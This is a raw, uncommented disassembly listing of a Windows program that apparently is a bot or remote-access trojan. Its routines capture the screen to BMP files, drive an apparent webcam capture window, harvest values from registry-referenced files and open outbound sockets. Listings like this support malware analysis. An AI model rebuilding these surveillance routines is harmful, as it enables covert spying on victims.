; int __cdecl sub_415DB4(int,char *Str,int,int)

sub_415DB4	proc near		; CODE XREF: sub_401CC7+27C6p

arg_0		= dword	ptr  4
Str		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset byte_4E7E90
		xor	ecx, ecx

loc_415DBB:				; CODE XREF: sub_415DB4+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset byte_4EBE90
		jl	short loc_415DBB
		cmp	[esp+arg_C], ecx
		jnz	short loc_415DE9
		push	ecx		; int
		push	[esp+4+arg_8]	; int
		push	offset dword_44E2D4 ; int
		push	[esp+0Ch+Str]	; Str
		push	[esp+10h+arg_0]	; int
		call	sub_409D6C
		add	esp, 14h

loc_415DE9:				; CODE XREF: sub_415DB4+19j
		push	offset dword_44E2E8
		call	sub_415C77
		pop	ecx
		retn
sub_415DB4	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, offset byte_4E7E90

loc_415DFB:				; CODE XREF: .text:00415E1Cj
		cmp	byte ptr [esi],	0
		jz	short loc_415E10
		push	dword ptr [esp+8]
		push	esi
		call	sub_418DD7
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_415E22

loc_415E10:				; CODE XREF: .text:00415DFEj
		add	esi, 80h
		cmp	esi, offset byte_4EBE90
		jl	short loc_415DFB
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_415E22:				; CODE XREF: .text:00415E0Ej
		push	1
		pop	eax
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415E27	proc near		; DATA XREF: sub_401CC7+287Co

Dest		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
Str		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_8], 80h
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_415E7A
		push	edx		; int
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]	; int
		push	offset dword_44E2FC ; int
		push	eax		; Str
		push	[ebp+var_11C]	; int
		call	sub_409D6C
		add	esp, 14h

loc_415E7A:				; CODE XREF: sub_415E27+33j
		cmp	[ebp+Str], 0
		jz	short loc_415E9A
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_415E9A
		mov	[ebp+var_8], eax

loc_415E9A:				; CODE XREF: sub_415E27+5Aj
					; sub_415E27+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset byte_4E7E90

loc_415EA3:				; CODE XREF: sub_415E27+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_415EFD
		cmp	byte ptr [esi],	0
		jz	short loc_415EEC
		cmp	[ebp+Str], 0
		jz	short loc_415ED2
		cmp	[ebp+var_4], 0
		jnz	short loc_415ED2
		lea	eax, [ebp+Str]
		push	eax		; int
		push	esi		; Str
		call	sub_418DD7
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415EEC

loc_415ED2:				; CODE XREF: sub_415E27+90j
					; sub_415E27+96j
		push	edi		; int
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]	; int
		push	esi		; int
		push	eax		; Str
		push	[ebp+var_11C]	; int
		call	sub_409D6C
		add	esp, 14h

loc_415EEC:				; CODE XREF: sub_415E27+87j
					; sub_415E27+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset byte_4EBE90
		jl	short loc_415EA3

loc_415EFD:				; CODE XREF: sub_415E27+82j
		lea	eax, [ebp+Dest]
		push	offset asc_44E318 ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_415F37
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_14]	; int
		push	eax		; int
		lea	eax, [ebp+var_118]
		push	eax		; Str
		push	[ebp+var_11C]	; int
		call	sub_409D6C
		add	esp, 14h

loc_415F37:				; CODE XREF: sub_415E27+EEj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		push	[ebp+var_18]
		call	sub_40BAAA
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4F63D4	; ExitThread
		pop	edi
		pop	esi
sub_415E27	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F56	proc near		; CODE XREF: sub_401CC7+74A5p

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_4E420C	; CreateDCA
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
		jz	loc_41618A
		push	8
		push	edi
		call	dword_4E4228	; GetDeviceCaps
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	dword_4E4228	; GetDeviceCaps
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	dword_4E4228	; GetDeviceCaps
		cmp	eax, 8
		mov	[ebp+var_10], eax
		ja	short loc_415FB8
		push	18h
		push	edi
		call	dword_4E4228	; GetDeviceCaps
		mov	ebx, 100h
		jmp	short loc_415FBA
; ---------------------------------------------------------------------------

loc_415FB8:				; CODE XREF: sub_415F56+50j
		xor	ebx, ebx

loc_415FBA:				; CODE XREF: sub_415F56+60j
		push	edi
		call	dword_4E426C	; CreateCompatibleDC
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_41616F
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	dword_4E4264	; CreateDIBSection
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_41617A
		push	eax
		push	[ebp+var_4]
		call	dword_4E40F0	; SelectObject
		cmp	eax, esi
		jz	loc_41617A
		cmp	eax, 0FFFFFFFFh
		jz	loc_41617A
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	dword_4E4268	; BitBlt
		test	eax, eax
		jz	loc_41617A
		cmp	ebx, esi
		jz	short loc_416077
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_4E4144	; GetDIBColorTable
		mov	ebx, eax

loc_416077:				; CODE XREF: sub_415F56+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		call	ds:dword_4F63F4	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_41615A
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		call	ds:dword_4F63E8	; WriteFile
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4F63E8	; WriteFile
		cmp	ebx, esi
		jz	short loc_41613C
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4F63E8	; WriteFile

loc_41613C:				; CODE XREF: sub_415F56+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		call	ds:dword_4F63E8	; WriteFile
		push	[ebp+arg_0]
		call	ds:dword_4F6370	; CloseHandle
		push	1
		pop	esi

loc_41615A:				; CODE XREF: sub_415F56+1A2j
		push	[ebp+var_1C]
		call	dword_4E417C	; DeleteObject
		push	[ebp+var_4]
		call	dword_4E40DC	; DeleteDC
		mov	edi, [ebp+var_20]

loc_41616F:				; CODE XREF: sub_415F56+70j
		push	edi
		call	dword_4E40DC	; DeleteDC
		mov	eax, esi
		jmp	short loc_41618C
; ---------------------------------------------------------------------------

loc_41617A:				; CODE XREF: sub_415F56+C7j
					; sub_415F56+D9j ...
		push	edi
		call	dword_4E40DC	; DeleteDC
		push	[ebp+var_4]
		call	dword_4E40DC	; DeleteDC

loc_41618A:				; CODE XREF: sub_415F56+23j
		xor	eax, eax

loc_41618C:				; CODE XREF: sub_415F56+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415F56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_416191(int,size_t Size,int,int)

sub_416191	proc near		; CODE XREF: sub_401CC7+75DBp

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
Memory		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Size		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4EBE94
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4E4170
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_4161CF
		mov	eax, esi
		jmp	loc_416385
; ---------------------------------------------------------------------------

loc_4161CF:				; CODE XREF: sub_416191+35j
		push	edi
		call	dword_4E41C0	; IsWindow
		test	eax, eax
		jz	short loc_4161EC
		push	ebx
		push	[ebp+Size]
		push	40Ah
		push	edi
		call	dword_4E427C	; SendMessageA
		jmp	short loc_4161EE
; ---------------------------------------------------------------------------

loc_4161EC:				; CODE XREF: sub_416191+47j
		xor	eax, eax

loc_4161EE:				; CODE XREF: sub_416191+59j
		cmp	eax, ebx
		jnz	short loc_4161F9

loc_4161F2:				; CODE XREF: sub_416191+88j
					; sub_416191+BCj
		mov	ebx, esi
		jmp	loc_41637A
; ---------------------------------------------------------------------------

loc_4161F9:				; CODE XREF: sub_416191+5Fj
		push	edi
		call	dword_4E41C0	; IsWindow
		test	eax, eax
		jz	short loc_416216
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4E427C	; SendMessageA

loc_416216:				; CODE XREF: sub_416191+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_4161F2
		push	edi
		call	dword_4E41C0	; IsWindow
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_41623C
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_4E427C	; SendMessageA
		mov	[ebp+Size], eax
		jmp	short loc_41623F
; ---------------------------------------------------------------------------

loc_41623C:				; CODE XREF: sub_416191+98j
		mov	[ebp+Size], ebx

loc_41623F:				; CODE XREF: sub_416191+A9j
		push	[ebp+Size]	; Size
		call	_malloc
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+Memory], eax
		jz	short loc_4161F2
		push	[ebp+Size]	; Size
		call	_malloc
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_416266
		push	1
		pop	ebx
		jmp	loc_41637A
; ---------------------------------------------------------------------------

loc_416266:				; CODE XREF: sub_416191+CBj
		push	[ebp+var_4]
		call	dword_4E41C0	; IsWindow
		test	eax, eax
		jz	short loc_416283
		push	[ebp+Memory]
		push	[ebp+Size]
		push	edi
		push	[ebp+var_4]
		call	dword_4E427C	; SendMessageA

loc_416283:				; CODE XREF: sub_416191+E0j
		push	[ebp+Size]	; Size
		push	[ebp+Memory]	; Src
		push	esi		; Dst
		call	_memcpy
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_41629E
		mov	ecx, 280h

loc_41629E:				; CODE XREF: sub_416191+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_4162AA
		mov	eax, 1E0h

loc_4162AA:				; CODE XREF: sub_416191+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4E41C0	; IsWindow
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_4162F4
		push	esi
		push	[ebp+Size]
		push	edi
		push	[ebp+var_4]
		call	dword_4E427C	; SendMessageA

loc_4162F4:				; CODE XREF: sub_416191+153j
		push	[ebp+var_4]
		call	dword_4E41C0	; IsWindow
		test	eax, eax
		jz	short loc_416311
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_4E427C	; SendMessageA

loc_416311:				; CODE XREF: sub_416191+16Ej
		push	[ebp+var_4]
		call	dword_4E41C0	; IsWindow
		test	eax, eax
		jz	short loc_416330
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_4E427C	; SendMessageA

loc_416330:				; CODE XREF: sub_416191+18Bj
		push	[ebp+var_4]
		call	dword_4E41C0	; IsWindow
		test	eax, eax
		jz	short loc_41634D
		push	[ebp+Memory]
		push	[ebp+Size]
		push	edi
		push	[ebp+var_4]
		call	dword_4E427C	; SendMessageA

loc_41634D:				; CODE XREF: sub_416191+1AAj
		push	[ebp+Memory]	; Memory
		call	_free
		push	esi		; Memory
		call	_free
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4E41C0	; IsWindow
		test	eax, eax
		jz	short loc_41637A
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_4E427C	; SendMessageA

loc_41637A:				; CODE XREF: sub_416191+63j
					; sub_416191+D0j ...
		push	[ebp+var_4]
		call	dword_4E42D0	; DestroyWindow
		mov	eax, ebx

loc_416385:				; CODE XREF: sub_416191+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416191	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41638A(int,size_t Size,int,int,int)

sub_41638A	proc near		; CODE XREF: sub_401CC7+7691p

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
Memory		= dword	ptr -4
arg_0		= dword	ptr  8
Size		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4EBE94
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow_0 ; "Window"
		call	dword_4E4170
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_4163C8
		mov	eax, esi
		jmp	loc_4165C4
; ---------------------------------------------------------------------------

loc_4163C8:				; CODE XREF: sub_41638A+35j
		push	edi
		call	dword_4E41C0	; IsWindow
		test	eax, eax
		jz	short loc_4163E5
		push	ebx
		push	[ebp+Size]
		push	40Ah
		push	edi
		call	dword_4E427C	; SendMessageA
		jmp	short loc_4163E7
; ---------------------------------------------------------------------------

loc_4163E5:				; CODE XREF: sub_41638A+47j
		xor	eax, eax

loc_4163E7:				; CODE XREF: sub_41638A+59j
		cmp	eax, ebx
		jnz	short loc_4163F2

loc_4163EB:				; CODE XREF: sub_41638A+8Bj
					; sub_41638A+BCj
		mov	ebx, esi
		jmp	loc_4165BB
; ---------------------------------------------------------------------------

loc_4163F2:				; CODE XREF: sub_41638A+5Fj
		push	edi
		call	dword_4E41C0	; IsWindow
		test	eax, eax
		jz	short loc_416412
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4E427C	; SendMessageA

loc_416412:				; CODE XREF: sub_41638A+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_4163EB
		push	edi
		call	dword_4E41C0	; IsWindow
		test	eax, eax
		jz	short loc_416435
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_4E427C	; SendMessageA
		mov	[ebp+Size], eax
		jmp	short loc_416438
; ---------------------------------------------------------------------------

loc_416435:				; CODE XREF: sub_41638A+96j
		mov	[ebp+Size], ebx

loc_416438:				; CODE XREF: sub_41638A+A9j
		push	[ebp+Size]	; Size
		call	_malloc
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+Memory], eax
		jz	short loc_4163EB
		push	[ebp+Size]	; Size
		call	_malloc
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_41645F
		push	1
		pop	ebx
		jmp	loc_4165BB
; ---------------------------------------------------------------------------

loc_41645F:				; CODE XREF: sub_41638A+CBj
		push	edi
		call	dword_4E41C0	; IsWindow
		test	eax, eax
		jz	short loc_41647C
		push	[ebp+Memory]
		push	[ebp+Size]
		push	42Ch
		push	edi
		call	dword_4E427C	; SendMessageA

loc_41647C:				; CODE XREF: sub_41638A+DEj
		push	[ebp+Size]	; Size
		push	[ebp+Memory]	; Src
		push	esi		; Dst
		call	_memcpy
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_416497
		mov	ecx, 0A0h

loc_416497:				; CODE XREF: sub_41638A+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_4164A1
		push	78h
		pop	eax

loc_4164A1:				; CODE XREF: sub_41638A+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4E41C0	; IsWindow
		test	eax, eax
		jz	short loc_4164E6
		push	esi
		push	[ebp+Size]
		push	42Dh
		push	edi
		call	dword_4E427C	; SendMessageA

loc_4164E6:				; CODE XREF: sub_41638A+14Aj
		push	edi
		call	dword_4E41C0	; IsWindow
		test	eax, eax
		jz	short loc_416503
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_4E427C	; SendMessageA

loc_416503:				; CODE XREF: sub_41638A+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	dword_4E41C0	; IsWindow
		test	eax, eax
		jz	short loc_416541
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_4E427C	; SendMessageA

loc_416541:				; CODE XREF: sub_41638A+1A3j
		push	edi
		call	dword_4E41C0	; IsWindow
		test	eax, eax
		jz	short loc_41655C
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_4E427C	; SendMessageA

loc_41655C:				; CODE XREF: sub_41638A+1C0j
		push	edi
		call	dword_4E41C0	; IsWindow
		test	eax, eax
		jz	short loc_416575
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_4E427C	; SendMessageA

loc_416575:				; CODE XREF: sub_41638A+1DBj
		push	edi
		call	dword_4E41C0	; IsWindow
		test	eax, eax
		jz	short loc_416592
		push	[ebp+Memory]
		push	[ebp+Size]
		push	42Dh
		push	edi
		call	dword_4E427C	; SendMessageA

loc_416592:				; CODE XREF: sub_41638A+1F4j
		push	[ebp+Memory]	; Memory
		call	_free
		push	esi		; Memory
		call	_free
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4E41C0	; IsWindow
		test	eax, eax
		jz	short loc_4165BB
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_4E427C	; SendMessageA

loc_4165BB:				; CODE XREF: sub_41638A+63j
					; sub_41638A+D0j ...
		push	edi
		call	dword_4E42D0	; DestroyWindow
		mov	eax, ebx

loc_4165C4:				; CODE XREF: sub_41638A+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41638A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4165C9	proc near		; CODE XREF: sub_401CC7+25E6p

Dest		= byte ptr -3F0h
var_2EC		= dword	ptr -2ECh
var_EC		= byte ptr -0ECh
Str		= byte ptr -6Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F0h
		push	edi
		xor	edi, edi
		cmp	off_44E354, edi
		mov	[ebp+var_8], 80h
		jz	loc_41676E
		push	ebx
		push	esi
		mov	eax, offset off_44E354
		mov	esi, offset dword_44E360

loc_4165F4:				; CODE XREF: sub_4165C9+19Dj
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	edi
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_4E4290	; RegOpenKeyExA
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_EC]
		push	eax
		push	edi
		push	edi
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_4E4120	; RegQueryValueExA
		test	eax, eax
		jnz	loc_416754
		mov	eax, [esi]
		cmp	eax, edi
		jz	loc_416714
		push	eax
		lea	eax, [ebp+var_EC]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aSS_7	; "%s\\%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dest]
		push	offset aR_1	; "r"
		push	eax		; Filename
		call	_fopen
		mov	ebx, eax
		add	esp, 18h
		cmp	ebx, edi
		jz	loc_416754

loc_41666B:				; CODE XREF: sub_4165C9+C9j
		push	ebx
		lea	eax, [ebp+Str]
		push	64h
		push	eax
		call	sub_41FDD0
		add	esp, 0Ch
		test	eax, eax
		jz	loc_41670B
		push	dword ptr [esi+4] ; SubStr
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41666B
		push	3Dh		; Val
		push	dword ptr [esi+4] ; Str
		call	_strchr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4166CB
		lea	eax, [ebp+Str]
		push	offset asc_44F628 ; "="
		push	eax		; Str
		call	_strtok
		push	offset asc_44F62C ; "="
		push	edi		; Str
		call	_strtok
		add	esp, 10h
		push	eax
		push	dword ptr [esi-4]
		push	offset dword_44F630
		jmp	short loc_4166D7
; ---------------------------------------------------------------------------

loc_4166CB:				; CODE XREF: sub_4165C9+D9j
		lea	eax, [ebp+Str]
		push	eax
		push	dword ptr [esi-4]
		push	offset asc_44F648 ; "-"

loc_4166D7:				; CODE XREF: sub_4165C9+100j
		lea	eax, [ebp+var_2EC]
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		lea	eax, [ebp+var_2EC]
		push	edi		; int
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_415C77
		add	esp, 18h

loc_41670B:				; CODE XREF: sub_4165C9+B3j
		push	ebx		; File
		call	_fclose
		pop	ecx
		jmp	short loc_416754
; ---------------------------------------------------------------------------

loc_416714:				; CODE XREF: sub_4165C9+65j
		lea	eax, [ebp+var_EC]
		push	eax
		lea	eax, [ebp+var_2EC]
		push	dword ptr [esi-4]
		push	offset asc_44F660 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	edi		; int
		lea	eax, [ebp+var_2EC]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_415C77
		add	esp, 28h

loc_416754:				; CODE XREF: sub_4165C9+5Bj
					; sub_4165C9+9Cj ...
		push	[ebp+var_4]
		call	dword_4E41FC	; RegCloseKey
		add	esi, 18h
		cmp	[esi-0Ch], edi
		lea	eax, [esi-0Ch]
		jnz	loc_4165F4
		pop	esi
		pop	ebx

loc_41676E:				; CODE XREF: sub_4165C9+19j
		pop	edi
		leave
		retn
sub_4165C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416771	proc near		; CODE XREF: sub_4167F7+33p
					; sub_416D5D+BCp

Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4E42A0	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_4167ED
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+arg_4]
		call	dword_4E4220	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4E4260	; inet_addr
		cmp	eax, esi
		jnz	short loc_4167D2
		push	[ebp+arg_0]
		call	dword_4E42A4	; gethostbyname
		test	eax, eax
		jz	short loc_4167ED
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

loc_4167D2:				; CODE XREF: sub_416771+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	edi
		call	dword_4E41C8	; connect
		cmp	eax, esi
		jnz	short loc_4167F1
		push	edi
		call	dword_4E42B8	; closesocket

loc_4167ED:				; CODE XREF: sub_416771+1Bj
					; sub_416771+58j
		mov	eax, esi
		jmp	short loc_4167F3
; ---------------------------------------------------------------------------

loc_4167F1:				; CODE XREF: sub_416771+73j
		mov	eax, edi

loc_4167F3:				; CODE XREF: sub_416771+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_416771	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4167F7	proc near		; DATA XREF: sub_401CC7+9EAo

Dst		= byte ptr -11B4h
var_1B4		= byte ptr -1B4h
var_1AC		= byte ptr -1ACh
Str		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
